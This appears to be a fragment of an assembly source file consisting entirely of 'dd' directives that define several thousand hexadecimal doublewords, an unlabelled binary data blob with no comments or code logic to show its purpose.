		dd 209A20B7h, 74C667h, 736993Fh, 70C0922Ch, 0E90A9500h
		dd 219C39A7h, 6A790744h, 0C0255762h, 74B84518h,	0D90048B8h
		dd 9616BC36h, 0FA7586h,	2FE72B06h, 2CCBF11Bh, 8E00A6F0h
		dd 314B163Bh, 0E2F07B60h, 18BF382Fh, 0AE002BDCh, 0DB52F87Ah
		dd 8800ADCEh, 5C3C5DD0h, 1850375h, 37AA9BFFh, 207E6193h
		dd 0F000CBD7h, 0F78DA545h, 76DB1DDh, 821CA0D2h,	0C117D542h
		dd 80920E7Ch, 0B0FC03E9h, 0B8DFA532h, 72FCC7h, 0D19788C4h
		dd 0CBE7BF13h, 6274FC0Fh, 66F5A083h, 0EE5B3B0h,	48BDF1FFh
		dd 6FAA1520h, 5900C134h, 1F243DB6h, 893C93h, 0B75ED3A6h
		dd 170BFB8Bh, 3A5DF448h, 274380D6h, 2A33FFCCh, 0EC205060h
		dd 0B1ED0068h, 0B318566Ch, 3D1C4FABh, 0C52243Ch, 97169001h
		dd 0B98045D6h, 3265E5Bh, 10C07A0Fh, 396AF721h, 0C536018Ch
		dd 3498D2BCh, 2083023h,	0FB759400h, 0A57CFF6Bh,	586E00B5h
		dd 1BBCB6B0h, 0A31D247Bh, 795ED9h, 0FF6C9D0Dh, 6151C93h
		dd 5D863063h, 44EE488Dh, 39006971h, 7C96A1A2h, 0FF74431Eh
		dd 340F7DBh, 75CAEFCBh,	0BAC938D8h, 91201700h, 0C11BCC9Fh
		dd 0D9316500h, 0B9A16E94h, 96900BFh, 2216302Bh,	9000DEDBh
		dd 6DA5F320h, 133965h, 0B129C212h, 1B5D244Fh, 7EF15A00h
		dd 4558619Ah, 0B27A01CFh, 3B6FCA3Ch, 4A64ECE1h,	94D88100h
		dd 0A55E76C1h, 12510B2Ah, 78607BBDh, 7F0042E2h,	9805A67Ch
		dd 11BA12Ch, 0D1761E25h, 0C4DFA77Ah, 0D70072D6h, 0CFD26C2Ah
		dd 0FEDAE3A8h, 971E01E1h, 3AC5C0A0h, 0A335D8AEh, 0B0025A00h
		dd 50293D9Bh, 861A09CCh, 0E30005E7h, 8F749359h,	730BAD00h
		dd 0A4914D21h, 78372897h, 773300E7h, 0C955363Dh, 7F38745Fh
		dd 0F29F07B3h, 50200E66h, 0ECAF2B97h, 6FF4F5h, 0A00A1240h
		dd 1BE2317Fh, 9485DA00h
		dd 0E3DBECC6h, 0D187004Eh, 0EDC2A81Ch, 35000E23h, 0A65B31DFh
		dd 3F97CE4h, 0B90A6B72h, 6A81E9Ah, 920080EAh, 85B723FEh
		dd 1CF68130h, 80CB1A6Dh, 26D3D05Eh, 0B93C65E5h,	90CC0054h
		dd 38376DD6h, 0C17840h,	0DC516C70h, 0B8B7E6D7h,	8189D900h
		dd 0CE7CF539h, 0E0E41E82h, 0FFD34034h, 0A00EDECAh, 0D28FAA00h
		dd 76BCF2A1h, 3AA41C45h, 62CFC046h, 831A0B0Ah, 0C5B70400h
		dd 0CE7AA206h, 0DAE400B3h, 243714EAh, 96003FB2h, 9CC2ADBDh
		dd 2D097h, 0B305335Bh, 0E277FB27h, 4E38907Ch, 0D189839Bh
		dd 0F080FA70h, 394553EAh, 0F74292h, 547D6F63h, 43486BFh
		dd 972BC300h, 981BA88Dh, 0D9303DFh, 0EE7B9B4Bh,	0FDE8B09Fh
		dd 0F700E611h, 6C0BD7BAh, 0F0A4721h, 0D12FF3B1h, 0C79CA640h
		dd 840A6DC9h, 0E41FA888h, 6F021D00h, 3ADB89h, 0AD03D451h
		dd 37328227h, 5FE2DA00h, 461740B3h, 0B5D91D9Dh,	143480D5h
		dd 730DBAADh, 6C452900h, 2A8A64D6h, 634A0E30h, 0DF607E95h
		dd 5D2FD0C3h, 7209E00h,	9B12C0E5h, 170B7C66h, 0F947EC4h
		dd 35A0AB90h, 0FFA6FA0h, 400317F6h, 13BB6EF1h, 756090A8h
		dd 480B041Bh, 0C3EEB4ACh, 11005B4Eh, 0EC3729FAh, 441EF9h
		dd 4CB87301h, 0FEDF30ADh, 0EEBC1200h, 0F080834Eh, 0C2180093h
		dd 14FA9C22h, 6474CDF3h, 0E7B71903h, 0A0F534BFh, 9B577Ah
		dd 796DA394h, 91BE4B01h, 54488D13h, 0F1810Eh, 82A7177Ah
		dd 0C650002Fh, 8A0D0584h, 1B019283h, 0ED96285Dh, 3DC4FCB4h
		dd 841D0031h, 689FF273h, 7D1DE085h, 60802D8Eh, 1615277Ch
		dd 0FD300AAh, 0D9EDE2F0h, 0B101207Ah, 65D4D783h, 84F0D1F4h
		dd 0BA911D79h, 809D1F4Ah, 49CA6B27h, 9B33DA9Ah,	0C953784Bh
		dd 85D184BCh, 6BF2E0E3h, 0EAD20399h, 8D142DA0h,	8AD01800h
		dd 7ED388E9h, 38546FE4h, 9C5F109Eh, 808CE948h, 0B15C6E47h
		dd 0EF3D3DD1h, 0D77881C6h, 0E90788C5h, 187F6DCh, 8D1C6912h
		dd 4053CBC2h, 17BAD040h, 8CAA3A00h, 69E08AF6h, 701867FFh
		dd 55A8174Ah, 0B30800F7h, 23AA8EF2h, 0A0E89800h, 4B9AD08Fh
		dd 80393FC2h, 2E3BFD03h, 0B100B5BAh, 64DD06CAh,	0F2974991h
		dd 0D07401h, 146294E0h,	206C929Fh, 0F2139300h, 5EB537FCh
		dd 949A3C60h, 44794280h, 0D6C62FD7h, 77CB3Ah, 37F3DB4Bh
		dd 90C530FBh, 0EF9A03A7h, 8AEAFE9Eh, 0CA71F2E0h, 7D3DC1Eh
		dd 4BA71600h, 70D5FFB2h, 0FAFC0029h, 0B65EEFE9h, 3800A9CEh
		dd 6088D8E3h, 302661h, 0A39A2002h, 8A8FB8E4h, 83A8BE00h
		dd 14D0D7Bh, 0D49C0EFFh, 0E607EEF2h, 0AF8EFFCFh, 8EE856E0h
		dd 0D7002C22h, 0E08FF39Bh, 9574Bh, 0B7F1F524h, 6BD5DD5Dh
		dd 921637E8h, 39017C0Fh, 1E38DFACh, 0FDD4D8h, 8C944795h
		dd 25F6555Dh, 0D0A15328h, 0F800B3F0h, 835820Bh,	3AD46BF7h
		dd 0DB30E140h, 0E319421h, 25126E71h, 4700A78Dh,	0CE3F2E6Ah
		dd 21B0058Ch, 4058DC85h, 930580F8h, 0E40FCA97h,	0EADD3C42h
		dd 1B47D85Dh, 12D17E80h, 1C021B37h, 36B99196h, 4FA08A0h
		dd 9807E40Bh, 928831EAh, 0BAB1A00h, 0E6C53C1Fh,	0DE8333C0h
		dd 241D61BAh, 8F3C0844h, 9500FC02h, 0EBBC261Ch,	541EE918h
		dd 6C1160h, 61E80D43h, 0C975B2A6h, 98A35200h, 0BD2B67DEh
		dd 1E12338Ch, 29A050B1h, 0CA01BB70h, 6A1BD3ACh,	5824C96Ch
		dd 10FB00A5h, 49D173F4h, 8B74CB7Ch, 45A1AF18h, 2A2420h
		dd 0A82C0F6Bh, 0A93EB373h, 29517E0Ch, 669A907h,	2AEFFBBh
		dd 0ED006A70h, 3351EDFh, 34590B9h, 0C4DB3ED7h, 0B8F8821Bh
		dd 0AC00C95Bh, 0AD63ED48h, 64842Bh, 0A7B674E2h,	0CB9640A9h
		dd 3562813h, 8AC09B1Dh,	0E84C9870h, 711F8DEh, 0DCF45321h
		dd 9B6CF03Ch, 1DF0612Dh, 0AAA57800h, 59350BDEh,	0A874003Eh
		dd 0C0756515h, 4E00B9E9h, 0D5C73F9h, 0C844B0h, 5574A2BDh
		dd 14E686A1h, 6B8E6300h, 0C9EA3895h, 9C1F1CEDh,	127E5C3Eh
		dd 0D500EA3Bh, 9221194Fh, 18146088h, 3A241B28h,	5EB7390Fh
		dd 1FCD00E3h, 98EB0Dh, 5B0AF1B2h, 62E8C48Ah, 0C93B600h
		dd 0F4595ECCh, 33CA1E3Eh, 86244035h, 0E35BA5E5h, 47AFC1Ch
		dd 17608B1Ah, 183B1404h, 0C0BA0446h, 721C878h, 9B0900A9h
		dd 944BBFEBh, 11FE23Fh,	45C0B688h, 0C0BC8B26h, 12B23BBEh
		dd 5CFE007Ah, 6507B3D5h, 50CF3947h, 403AE0F0h, 0E0DC292h
		dd 79A1CC6Fh, 56EB69C0h, 0DD0F51E2h, 52E1BDB1h,	6CF407FFh
		dd 90143358h, 157FAFC0h, 0E1EF5E18h, 43ED7D41h,	0FC790078h
		dd 59521C0Fh, 1DD8F8DBh, 0FA6EBEh, 0EC1E9ABBh, 0D700B1ACh
		dd 6CC44EF2h, 60F37CE3h, 0EC1F11CEh, 5578C885h,	392B7900h
		dd 6A16A1BEh, 610330D3h, 0A0620C18h, 0F5A6C603h, 0F00FA85Dh
		dd 6316F311h, 75360E2h,	26F880CDh, 4A618A37h, 3492888h
		dd 0E21FD080h, 0D251EC24h, 0AF9850D8h, 75013DD8h, 96483630h
		dd 4600A960h, 63577F99h, 0C31F4ADEh, 54F2C061h,	4410B104h
		dd 0C90ACF69h, 60988020h, 26048F6Ah, 87C24947h,	3338D7B9h
		dd 45E9046Eh, 7C4BEC09h, 0D30723ABh, 0C6FEC0B0h, 0B18023C8h
		dd 0C41BFE6h, 0C13D5B42h, 0F90A6728h, 0DC63A215h, 0B0DB9C01h
		dd 23FCE39Bh, 0DC7500D9h, 0CFB8E631h, 1A00498Ch, 6C4DF083h
		dd 1EFABA5Fh, 7243EE0h,	80C05477h, 0D3EB9D67h, 0E4185Ch
		dd 96ECF12h, 0F08DFD14h, 1120A781h, 80F23E8Bh, 4361F383h
		dd 33BDB8h, 0DA9DA917h,	1184BF60h, 0F7886E0Ch, 441832h
		dd 57F56899h, 47F31E19h, 34B92802h, 9B480E95h, 0ADE5D020h
		dd 0C86D47B3h, 2FD37885h, 23E68D01h, 161D2B88h,	9F3F0F0Fh
		dd 8060144Eh, 7AFA6D0Eh, 5C240570h, 381CAF88h, 9B782320h
		dd 0B680C38Eh, 6AF2C1BCh, 36D72B3Eh, 0D0B10020h, 23EF1094h
		dd 9A3B80C7h, 9D6281C8h, 111F0EDEh, 3A0A2E7Fh, 0BAA3827Eh
		dd 3E22EB30h, 20977729h, 71884B41h, 5460BCFAh, 739BC065h
		dd 28A76FE7h, 739D70A0h, 710461C0h, 7ABD4D69h, 0F4B02087h
		dd 629F0B5h, 531D3222h,	0F60318B3h, 395A5F9h, 9324E083h
		dd 91050A04h, 0C0208420h, 38462256h, 3C014485h,	0E4753B73h
		dd 5DE41DA3h, 0B411103Ch, 0E7B88B90h, 0C1A4E905h, 60780D3Fh
		dd 0E88085F5h, 0CBE43AE9h, 0C23347EDh, 0B8212FCDh, 2B3FEC20h
		dd 0C2405592h, 0A1C82E9h, 7125A1C2h, 0FE5F120h,	68513404h
		dd 0E1222A14h, 7E15FE11h, 5E886100h, 6D138E3Ah,	660FDC90h
		dd 8081E73Bh, 0A0988F1Eh, 9509011h, 9F8B7E0h, 3F864800h
		dd 0A31E1FD2h, 11495F9h, 0E4D9C120h, 9E0A2145h,	3B5A6061h
		dd 572155A7h, 0EA9B503Eh, 36AD0085h, 0B8A7DB8Bh, 0FC988308h
		dd 875FD034h, 65009047h, 5BF5FD3Bh, 40AD8875h, 0B060AF94h
		dd 572FBD90h, 938220E7h, 0EA38994Dh, 202E0435h,	7C8F697Ah
		dd 0A07A88E7h, 5A58F20h, 0F348A229h, 0D824842Ch, 15FEE948h
		dd 21D97004h, 1F789143h, 58F187B8h, 8D081E20h, 0F942868Ah
		dd 0A8010F2Fh, 0E06626F9h, 23211E8Dh, 9AEE72E3h, 4340BC8Ah
		dd 0FCF3C137h, 840A7852h, 0C73805D3h, 0C5D04915h, 967E120h
		dd 0C41020Eh, 3EE12F10h, 0F4C13B60h, 837187DEh,	44855C88h
		dd 0AA802CB1h, 0C229BFD0h, 3F1FFD2Fh, 0A4ECD889h, 30A64CC0h
		dd 1B6823C4h, 42F8D5E7h, 3E2270CEh, 3E486585h, 466F0908h
		dd 0C89D4C54h, 6EF4B4B0h, 2A0BC704h, 0E67929C2h, 680A2096h
		dd 401E8A77h, 8A1435F1h, 0FBBE0988h, 0F3E8308Dh, 162C11A9h
		dd 0FC73F18Fh, 7D800833h
		dd 0E9DAF217h, 420F888Fh, 0E9400453h, 2AC88F61h, 61404729h
		dd 32DBAF57h, 0B8EBB2E8h, 435EE40h, 0DA47F238h,	16CE7D86h
		dd 6FF640C1h, 405E2B4Bh, 0A0606321h, 2BC28136h,	0C4205B45h
		dd 8413C5Bh, 0E9C705B0h, 0B77F9h, 845736A8h, 8F8187B3h
		dd 0F0E06F94h, 4269D8AEh, 0B853A2BDh, 435F720h,	805B83EEh
		dd 78F57C86h, 60C8B115h, 2CE42271h, 84A74485h, 362071FDh
		dd 823CFCC5h, 42CB888Fh, 114DF870h, 0F2E9E1E0h,	0BE40B99Fh
		dd 2BDA9A30h, 0C44093EEh, 2608FC3h, 6A50C24Fh, 2F293E8Fh
		dd 80406043h, 47B7F2DBh, 9613CB83h, 540C228h, 68E58439h
		dd 20746765h, 0C505801Ch, 20780F11h, 994221D7h,	0D3AA3260h
		dd 0C8824791h, 7E2C78BBh, 401CAB2Bh, 6540CFC4h,	0E388F11Ch
		dd 3B716F0Eh, 83007DF4h, 281EA86Dh, 40135811h, 1B2E403Bh
		dd 0ED50B05Ch, 7D885F9Fh, 0A80B3AAAh, 6900645Ch, 61F46371h
		dd 860C7E4Fh, 38AC79F8h, 50B77BE4h, 0EDDF2837h,	0BE4FA085h
		dd 44202705h, 67CD3CC8h, 0E3F2C80Ch, 40066024h,	0A813DFE2h
		dd 98400818h, 0E41F0558h, 0A0432316h, 0A63B86F2h, 95E22C48h
		dd 4221700h, 5D4AC0h, 3D9DFBB1h, 1FD50CD3h, 8C501765h
		dd 365FF20Fh, 0BDBC60BAh, 7ED49Bh, 0BF9ECE3Ch, 8CDD4B49h
		dd 9A6FA207h, 0ED50E4C6h, 33A38Dh, 0CAEB6678h, 0BAE77077h
		dd 719058FEh, 360CDE74h, 58864327h, 1DC7001Fh, 578E8352h
		dd 0F0002380h, 8CDCBDEDh, 0C7D6BB6Eh, 40D7E830h, 82278065h
		dd 0E5F720C1h, 68802886h, 55876B49h, 0D000AD85h, 0D3E6CC58h
		dd 6FB24Ch, 0F495C159h,	3F34C07Fh, 65B6F200h, 0BBEDA7D6h
		dd 0DC6600C2h, 9D0BB21Dh, 790511D8h, 0DBD60E0Fh, 64BDA501h
		dd 7CFC9C8Dh, 24763903h, 0D10EFE0Eh, 0AC877120h, 49008AA7h
		dd 85A384Ch, 900FD0B3h,	5B040080h, 0F37B34EBh, 4319B5DCh
		dd 7560DB63h, 0C2D008F4h, 47FAB918h, 2AC68480h,	31003907h
		dd 4056F78Eh, 0F016585h, 0E2793D20h, 8BAE0F8Fh,	583166CCh
		dd 75101D0Ah, 103688A6h, 0CA553B18h, 6581D48Fh,	10B56019h
		dd 1D5D93C9h, 80DC491Eh, 0D8EB4DFBh, 3DF0F2E5h,	0BF7FBDE0h
		dd 0D7247903h, 9C2D39h,	560CC938h, 0DF6661ECh, 7D679C0h
		dd 1C675FF8h, 80C873D8h, 0DC4EC253h, 0C1524A15h, 7D27E8A8h
		dd 0E06F6E13h, 0BB2C0C8Eh, 42E4B180h, 1BF94161h, 805791EBh
		dd 0AE52F2A1h, 0F94DC898h, 640099EDh, 21D4727Eh, 2FE30DEh
		dd 3B9571A0h, 808198FAh, 48B3B741h, 0D50FF3ACh,	1DF4E1A2h
		dd 0CD197D98h, 2B840783h, 0C4B95357h, 0DCC34641h, 0A03DF039h
		dd 556057E0h, 0E5D8CC0Fh, 0C7B8C7CEh, 0FC05FEh,	0BA0E8D50h
		dd 1F0E319Dh, 85FFD57Bh, 101C6004h, 58CF6071h, 60483AF8h
		dd 454F1087h, 0EC3E5B99h, 9D1012CBh, 0F1C9D045h, 7DB16001h
		dd 7050C579h, 0E9AEEBB5h, 0C9C7C840h, 2A8A1DB2h, 89CC25Bh
		dd 2C42B992h, 8FD44CC0h, 6E80EB12h, 7A345003h, 0BB980084h
		dd 4D2CBA68h, 68C73D32h, 9000D31Dh, 60DC5BC9h, 0CD0530C2h
		dd 33D521Bh, 8D88D077h,	0DB9F8E03h, 40CEC746h, 0A0D3D8D8h
		dd 120865F4h, 215EA8E9h, 8093FE24h, 0DDF8E6B0h,	0C0710EA5h
		dd 351CBA48h, 38C5C82Bh, 0B840849Eh, 94F5410Bh,	8B790217h
		dd 675002FFh, 7A2AB448h, 0ADFCF41Fh, 49E08718h,	3102F032h
		dd 4F10916Ah, 0B63C205Bh, 41007092h, 35244ACDh,	0A85A57Dh
		dd 0B41D1331h, 235800E4h, 0F2F4F3Ch, 0CD819A19h, 4C208FF0h
		dd 0B19881Eh, 5817AD24h, 0C44AA45h, 1622F011h, 84B8D518h
		dd 0A30244h, 2415B378h,	495941BCh, 0E5EDC30Fh, 66674016h
		dd 0A0089FF7h, 1510B8Ch, 7105D44Fh, 0C004A18Ah,	0B4A0B961h
		dd 0F26D580h, 6D800CE0h, 7FF8BE71h, 0C318C866h,	26AFFE62h
		dd 18C23810h, 60502557h, 0F8EB7694h, 84CCA296h,	8450457Ch
		dd 786D2910h, 0F3D8A4A1h, 1E10C10Fh, 8002B2F8h,	0B0CAF5C1h
		dd 0C0C6FA24h, 249A0E19h, 0A8A870A6h, 79840C71h, 0F3BC2013h
		dd 28183086h, 69A87EA2h, 65FE8064h, 11293A70h, 0A1BE804Bh
		dd 40B8138Ch, 0FD8E7B8Ch, 3558D202h, 0DB9D0420h, 68D2F8FEh
		dd 0F3984060h, 480D66B6h, 0FF448843h, 49B305A3h, 1D839110h
		dd 0EED8B5DCh, 23DC3BC0h, 28C67808h, 3C8CE0D4h,	0A8A99DC1h
		dd 0B44E843Ch, 3844227Fh, 23864742h, 0CD088503h, 0A7C2614Dh
		dd 43680C70h, 0C59811D2h, 31D6E284h, 16185AD4h,	7234843h
		dd 63A77188h, 0F1405EFEh, 91249AB2h, 18A004D1h,	8066DD22h
		dd 0C6C125F0h, 606BAA21h, 1FE7AF10h, 449D25C5h,	20D81918h
		dd 0E65840BEh, 5F89A1Fh, 0FC026EBCh, 0CA9C71C8h, 0A6930CBFh
		dd 0A8397B30h, 0ACA64260h, 0D938219Ch, 0CFD84C95h, 4479681Eh
		dd 709E7750h, 21E0CBC5h, 0C2D353Ch, 9508857Ah, 0F74502F2h
		dd 0D089AAAFh, 0C047DCA2h, 0EB778440h, 0C2301649h, 10F29798h
		dd 108CC0F4h, 8478EB86h, 0CE625924h, 0F11C2331h, 0A211FA43h
		dd 9C6085B2h, 0D4783C44h, 0F683AB4Bh, 7828343Bh, 88211836h
		dd 0AC74958Eh, 31BC3AC4h, 61135EB8h, 0C0D102EFh, 18048005h
		dd 6C328B3Eh, 0AED93813h, 4DBB11C3h, 312C2D84h,	60275C0Eh
		dd 426B0DC5h, 70A64A18h, 4099213Ch, 0D85C028Ah,	0CC98ACC4h
		dd 7484AE58h, 94498652h, 0DD6AC230h, 0E5531011h, 51E9218Ch
		dd 5CC53291h, 0C8C03175h, 437618C3h, 0D2E43F64h, 452A143Ch
		dd 8A63C4A8h, 31FFC467h, 0A2FE7A84h, 0A2CD743Ch, 30C23C78h
		dd 7F42A5BAh, 0BE14A821h, 89E730FCh, 9847B5Bh, 0A26BCA55h
		dd 615E8C26h, 6CA893E6h, 0B489D2FCh, 92E94420h,	7644A088h
		dd 0A4D8B10Eh, 0F1C13128h, 9B860CFEh, 0E01C88A4h, 0A2713464h
		dd 789C4C70h, 4A145A46h, 0E7C5D823h, 0B59C61B9h, 0AE360C64h
		dd 3C4852D8h, 9697A423h, 8B8E005Fh, 9052C541h, 5C2784D0h
		dd 0D66504B1h, 0B10E7163h, 0BE830C0h, 0EFCC5B41h, 8B8301A6h
		dd 2D7EF765h, 0A460D689h, 0CCB96932h, 50D0A30Ch, 92BCE03Dh
		dd 244C56B0h, 865C2000h, 2C1AF79Dh, 0E4105584h,	0CF8752E8h
		dd 648A0599h, 9CEB080Ch, 61A42789h, 0E4EA72C4h,	8CC32C28h
		dd 0A88600F4h, 14FFDB93h, 81C03BFFh, 67C0B49Eh,	0C17518AEh
		dd 0E01C9419h, 0B000CD24h, 0ADB5F4DEh, 7B31AB2h, 0E3C0ABC4h
		dd 6C9393EAh, 0A86A23E0h, 550048F0h, 30DA3BF7h,	1DD814B5h
		dd 7ECBC8CEh, 1830DBB0h, 6EF2DC4Fh, 1EA92000h, 0B63B29F3h
		dd 0C13C3077h, 44DFCF81h, 11C6B430h, 0C01A82A9h, 36736729h
		dd 323DAD95h, 0FCB507C4h, 0A4A0125Bh, 0F22A48FEh, 0DB98C05Dh
		dd 2E8B674Fh, 69B63C07h, 53C0355Bh, 1826EA20h, 3859B941h
		dd 92FA589Bh, 231EA0DFh, 4094440Dh, 0F625D088h,	0C069C00Eh
		dd 3C63415h, 2A7A0C14h,	0AD29AFB3h, 0DD19730Fh,	0C431A0E5h
		dd 0D41E1Dh, 2A3E2716h,	0CDC1B477h, 851498A4h, 1A4C332h
		dd 67E0B8DBh, 0E1940E87h, 690368B0h, 329385DDh,	64795137h
		dd 0B0772BC0h, 0C186FDC0h, 79E4AD69h, 170E4100h, 0C8BFBD4Eh
		dd 187E3C3Bh, 8BE7614h,	0D7AE9E0Ah, 14678390h, 0C800C91Ah
		dd 0C09C4840h, 0F7529F4h, 0FC9BA76Ch, 0CBDD0E81h, 0E902FB2Eh
		dd 49C66F22h, 17E89091h, 0C0282A3Dh, 1824A430h,	61F4844Fh
		dd 0F0A8A024h, 0D8687566h, 7E0E0B0h, 17AD20Ch, 61DFF139h
		dd 40DB9479h, 0A8AF248h, 0A624F88h, 167EABD9h, 144902C8h
		dd 0BA02EED6h, 0D30C80A1h, 74670FFFh, 0F080A97Dh, 36722081h
		dd 0F0FAC635h, 18A348B9h
		dd 0AA1D29C0h, 51B450F9h, 6C03C7B6h, 30E1612h, 0AFA805CFh
		dd 78CEB7Eh, 849EAECCh,	14388860h, 88221E30h, 18EABDAh
		dd 0FFC636A2h, 0FE459D60h, 0C0A14A2h, 13B4A202h, 40B2C838h
		dd 18EF4924h, 604CA00Eh, 0AA3BE4C3h, 0B70C4073h, 902D49C0h
		dd 80AD14F1h, 6303A8D9h, 13C659BFh, 410324E3h, 455CA7F9h
		dd 0FE1075CBh, 16DA0CE7h, 2B28C1CFh, 31783D0Ah,	0C504C833h
		dd 2C886045h, 0F9AE400Ch, 66BB0D0Ah, 3B039417h,	6E5E484h
		dd 0DDDB56A8h, 1D068199h, 1AD492B6h, 9A7A0C58h,	6791A718h
		dd 0B98E2518h, 54B0B728h, 0C7FA80Ch, 0F4A613E6h, 700C8D79h
		dd 0C1DA03EFh, 942A0030h, 0A4C6FB40h, 0D4F62F3Ah, 0B7C09F50h
		dd 6CCB1818h, 157CD2B1h, 0B43EF486h, 0B528EA0Ah, 12AF122Ch
		dd 32C0CE4h, 27044121h,	85450AE1h, 24BF80C2h, 22EC8C03h
		dd 29C66315h, 0A4490E24h, 182FED9h, 0A02EA16Dh,	0D14D2F48h
		dd 0CBF18011h, 602D2139h, 0E0E90C48h, 8659247Ch, 309B147Fh
		dd 0F3048D9Ch, 9290F3F1h, 0E754D924h, 56050B08h, 963F4C64h
		dd 9A8CBC00h, 0C3442746h, 0F093A548h, 636A5113h, 1524BC5Fh
		dd 3C37F813h, 20F4FB62h, 9D3DFCA9h, 69CBAF30h, 183F6267h
		dd 11B4A348h, 58FE6DE5h, 9DEA00FFh, 1F860623h, 59D4247Ch
		dd 2EDDA309h, 0FED48A8Bh, 0B019E81Bh, 98F4897Eh, 0AA9EF874h
		dd 0E5E88234h, 0E252105Fh, 38673B24h, 0A1841760h, 495AE4ABh
		dd 48C708BDh, 2C06A0Dh,	64C8449h, 58518880h, 20802DE4h
		dd 0BB0E09ADh, 0F40030F6h, 9F28A43Bh, 820928C9h, 4137C040h
		dd 0B8A06378h, 0A12A3D58h, 0A9A46039h, 0BD8039C8h, 483B2D76h
		dd 7380225Fh, 0B720A867h, 60687844h, 0CD21E98Eh, 0E331D3A0h
		dd 9DB9EE53h, 0B7CF6083h, 97AFC3C8h, 19BDC699h,	0A1266898h
		dd 168D5CFDh, 0F004798Ah, 7A191002h, 0FB06C018h, 1EA4A0ADh
		dd 0FCFE80AEh, 60ACE0A1h, 17F029D0h, 57F99C78h,	971D80B4h
		dd 0A067E3A1h, 45821811h, 3A0AF54h, 0F3A19EE0h,	232104A2h
		dd 23044596h, 7C6011FAh, 9C4007E1h, 93A89BA1h, 0EC6C0603h
		dd 0A92C20E0h, 0EB84A40Ah, 8083F8DAh, 0F900E4CAh, 0D63A9E8h
		dd 140474B0h, 9E469D6Ah, 0A61C2C90h, 9C57488Ch,	0B6026738h
		dd 976C3025h, 8342CC41h, 756A6F91h, 0CD8A023h, 693054Eh
		dd 803B8584h, 1FE93F44h, 0B0C62F26h, 1E41208h, 157B60C0h
		dd 85202413h, 8E5082F4h, 500483B4h, 72D068DBh, 58FE1883h
		dd 43098019h, 50006DF1h, 0EDE7280Ah, 0AA23A204h, 189308C0h
		dd 40E89966h, 3D15FC20h, 0E3AA9D85h, 0BF6F0CECh, 0A0D0F835h
		dd 27482F00h, 0B6C0990Ah, 180766BCh, 0F124466Dh, 0ED02C8B5h
		dd 897D48A7h, 9BE01358h, 68713BC1h, 873482A4h, 0F11D50FEh
		dd 8CE96E3Fh, 0A02AEC41h, 72488921h, 0E1491CA0h, 6B44CADFh
		dd 588C6772h, 74B930FEh, 0BA65C3DEh, 7837B730h,	0F59F1528h
		dd 5835DC30h, 0FD805C42h, 0A43D6892h, 600F89Ah,	8166EBC3h
		dd 79FF37CAh, 0A36CB214h, 0DB39A62Ch, 19117E18h, 6F792FAEh
		dd 6FAEE854h, 0C0A4C888h, 8222B032h, 44A38208h,	390E1614h
		dd 0A1D0448Ch, 91BA85CFh, 1795A8FCh, 0AF44D580h, 12549191h
		dd 619C0AAAh, 0A5C1210h, 1808FC6Ch, 0B49230D6h,	0B86B99C0h
		dd 2DE789h, 0E66A2AEFh,	4EAD961Dh, 69854494h, 0E08018A1h
		dd 4D48DA8Dh, 0BA01248Fh, 772EE78Ah, 0C9802029h, 0A19DE67h
		dd 0AE4507C0h, 24941618h, 0F4480339h, 18863499h, 0E011A024h
		dd 0B8498712h, 2DBC90A9h, 3C212886h, 0C359B0F0h, 0E7CADF38h
		dd 0FED42800h, 6D54A351h, 0A267142Eh, 0D045C2Fh, 0D14946CAh
		dd 60971974h, 0F4AB741Ch, 0E099FDC1h, 21C79121h, 0CC8F9B23h
		dd 0C4EB11A1h, 4C925020h, 40EE10F2h, 97EFA9Dh, 0AC906BF6h
		dd 243C4859h, 40803CC4h, 9A0A1DC7h, 0AA770522h,	4F014CCh
		dd 0C74FDAA0h, 90AC85F8h, 0EA2F10E4h, 349CE083h, 982B50CFh
		dd 0A2B60492h, 97FFC190h, 0AFE8E08h, 9CA06AC5h,	13AF905h
		dd 0F5E46100h, 785E717Fh, 18FC83ECh, 0BC080407h, 69401C33h
		dd 79F20C46h, 5B4F0082h, 83E35EEDh, 2800BEA5h, 0A41E37FAh
		dd 1C3505h, 0E7809506h,	0EC6A0ED3h, 1D884938h, 31E5F6Fh
		dd 80A7013Eh, 3AE6D6F8h, 0B9670840h, 0D03F1D06h, 0ED370C53h
		dd 0CF00FB18h, 0FDE5EC9Dh, 3E1B81F4h, 0FF2E266Ah, 5BBB06F0h
		dd 8D3D1880h, 82B598ECh, 0F0683E78h, 0C883F6A5h, 13F8E11h
		dd 0E82C464Ch, 609D931Ah, 94B341CFh, 80259A21h,	0D998E788h
		dd 71D0579h, 0F6D3527h,	0A748AC26h, 65A68306h, 0E01171E8h
		dd 0B22C035Fh, 0FAC15E5Ch, 552EF900h, 14AFA510h, 0E39058Eh
		dd 2CA689h, 0C8ED78A0h,	80F88471h, 76138718h, 14DF6879h
		dd 8371979h, 150FCD3Ch,	4640F9C4h, 0B19D965Dh, 70899800h
		dd 87065E67h, 2A9091h, 0DDA23DDEh, 2178488Eh, 0E699C20Eh
		dd 9066EA9Ch, 8959E831h, 3A2E9C43h, 8CB9A061h, 0CC214D8Fh
		dd 34761198h, 3B38FF50h, 419FAF00h, 0EAA5D5FBh,	0A7B0288Ch
		dd 658021Ch, 0CFE820D0h, 62FAAC85h, 51822A8h, 29A6F429h
		dd 0E08C1A2Ah, 0F3BBA7ADh, 0E8F53629h, 823951Dh, 0B963808Ah
		dd 5011561Dh, 0D68D1004h, 0F3448734h, 0E8A930D4h, 0D7D8516Ah
		dd 0FB17CCD5h, 86C08551h, 0BBE85E41h, 0B4762AD9h, 9130A580h
		dd 0C12E0AADh, 9D0638B6h, 50F864h, 0DD30DBA6h, 0E395A526h
		dd 6E5EE80Ah, 4892B078h, 370C9C61h, 0DFC4E10Fh,	0E685C4h
		dd 797B52B6h, 809FB464h, 2D0092FAh, 99116E5Dh, 13F9CAh
		dd 0B4918AE2h, 0B98E03E0h, 9DF6123Fh, 783F60CDh, 9103FCF8h
		dd 0FFAB35B5h, 341100C3h, 0E7F664C5h, 6E6F5C97h, 0EBBA8040h
		dd 613B097Dh, 0CFDA702Bh, 8804F335h, 0BA1F8863h, 20B96C07h
		dd 57C968D4h, 66F09971h, 7893F744h, 0DE62188Fh,	0DDB82063h
		dd 369B7A1Fh, 0C19DC80h, 0CF0AEF8h, 283CFFA3h, 0E219CED0h
		dd 89588A08h, 94644986h, 2507B12Ch, 6A67D19Eh, 5FA16BC0h
		dd 3B740F10h, 0F900371Ah, 0DA3F350h, 89A2321Fh,	0EA3D7540h
		dd 249452DDh, 1B765C35h, 0CDC15880h, 7F68E053h,	5C3C11C4h
		dd 2010D463h, 42037E90h, 0E73F6F0Ch, 94A22C82h,	2AC0091Bh
